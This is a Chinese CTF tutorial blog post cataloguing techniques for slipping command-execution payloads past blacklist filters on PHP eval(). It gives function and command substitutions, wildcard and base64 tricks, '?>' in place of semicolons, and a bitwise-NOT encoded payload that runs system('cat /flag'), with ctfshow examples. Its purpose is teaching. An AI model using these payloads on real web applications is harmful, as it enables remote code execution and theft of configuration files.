PHP eval 绕过全总结 —— CTF 代码执行绕过手法
eval() 是 CTF 中最常见的代码执行入口。围绕它的绕过本质上就是一场 出题人加过滤 vs 解题人绕过滤 的博弈。
1 | eval("echo 'hello';"); // 把字符串当 PHP 代码执行 |
一切绕过只有一个目标:构造一个字面上不触发黑名单、语义上能执行恶意逻辑的字符串,送进 eval()。
解题心智模型
1 | 拿到源码 |
绕过手法全分类
一、函数名绕过
黑名单封了 system / exec / highlight_file 等函数名。
思路:换一个功能相同但名字不同的函数。
| 被封 | 替代 |
|---|---|
highlight_file() |
show_source() |
system() |
passthru() / shell_exec() / ` 反引号 |
exec() |
popen() / proc_open() |
eval() |
assert()(PHP ≤ 7.3)/ call_user_func() / create_function()(PHP ≤ 7.2) |
二、Shell 命令绕过
黑名单封了 cat / ls 等命令名。只在 payload 走 shell 路线时才相关。
| 被封 | 替代 |
|---|---|
cat |
tac nl more less head tail sort rev |
ls |
dir find echo * |
三、参数内容绕过
黑名单封了 config / php / . 等文件名关键字,导致写不出 config.php。
思路 A —— 把敏感内容移到不检查的参数:
1 | ?c=show_source($_GET[1]) |
思路 B —— 通配符:
1 | ?c=echo `tac c*`?> ← * 匹配 config.php |
思路 C —— Base64 编码:
1 | $c=$a=base64_decode('c3lzdGVt')($b=base64_decode('Y2F0IGNvbmZpZy5waHA=')) |
四、语法字符绕过
黑名单封了 ; 导致无法终止语句。
| 被封 | 替代 |
|---|---|
; |
?> 闭合 PHP 代码块 |
; |
if(function(...)){} 控制结构天然收尾 |
; |
靠 eval 收表达式:eval(...) 不需要分号 |
1 | ?c=echo `tac *`?> ← ?> 代 ; |
五、极端情况:无字母数字
黑名单把所有 a-zA-Z0-9 全封了。
思路:用位运算(异或/取反)「造」出字母。
1 | ?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98); |
原理:PHP 中字符串与 ~ 运算符结合会对每个字符取反。将 system 逐字符取反得到不可打印字符,URL 编码后传入,PHP 运行时取反恢复为明文 system。
六、正则逻辑反转
| 写法 | 含义 | 策略 |
|---|---|---|
preg_match("/.../", $c) |
命中则拦截(白名单) | 找命中关键词的函数 |
!preg_match("/.../", $c) |
不命中则拦截(黑名单) | 找不命中关键词的函数 |
**注意区分 preg_match 前面有没有 !**,完全相反的思路。
实战题对照
以 ctfshow 的 web 方向为例,看看真实题目中这些手法如何组合:
| 题号 | 正则逻辑 | 新增过滤 | 关键绕过 | 考点 |
|---|---|---|---|---|
| web9 | 白名单 | — | highlight_file() 命中关键词 |
白名单思维 |
| web10 | 黑名单 | — | show_source() 不含关键词 |
! 取反 |
| web11 | 黑名单 | cat |
走 PHP 函数不调 shell,cat 无效 |
PHP vs Shell 边界 |
| web12 | 黑名单 | \. php config |
show_source($_GET[1]) 参数传递 |
作用域绕过 |
| web13 | 黑名单 | ; file |
echo \tac *`?>+?>代;` |
语法字符绕过 |
每道题都在上一层基础上加了新过滤,一层层叠起来就是完整的绕过进化路线。
一句话记口诀
封函数 → 换函数。封命令 → 换命令。封参数 → 换参数传。封字符 →
?>闭合。全封死 → 位运算造。
拿到题目先看正则类型,再瞄黑名单,沿着这条链一步步找替代,大部分 eval 绕过题都能解。更多对应尝试组合使用不同手法,实战中很少有只封一个点的题目。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 YJZ's Security Lab!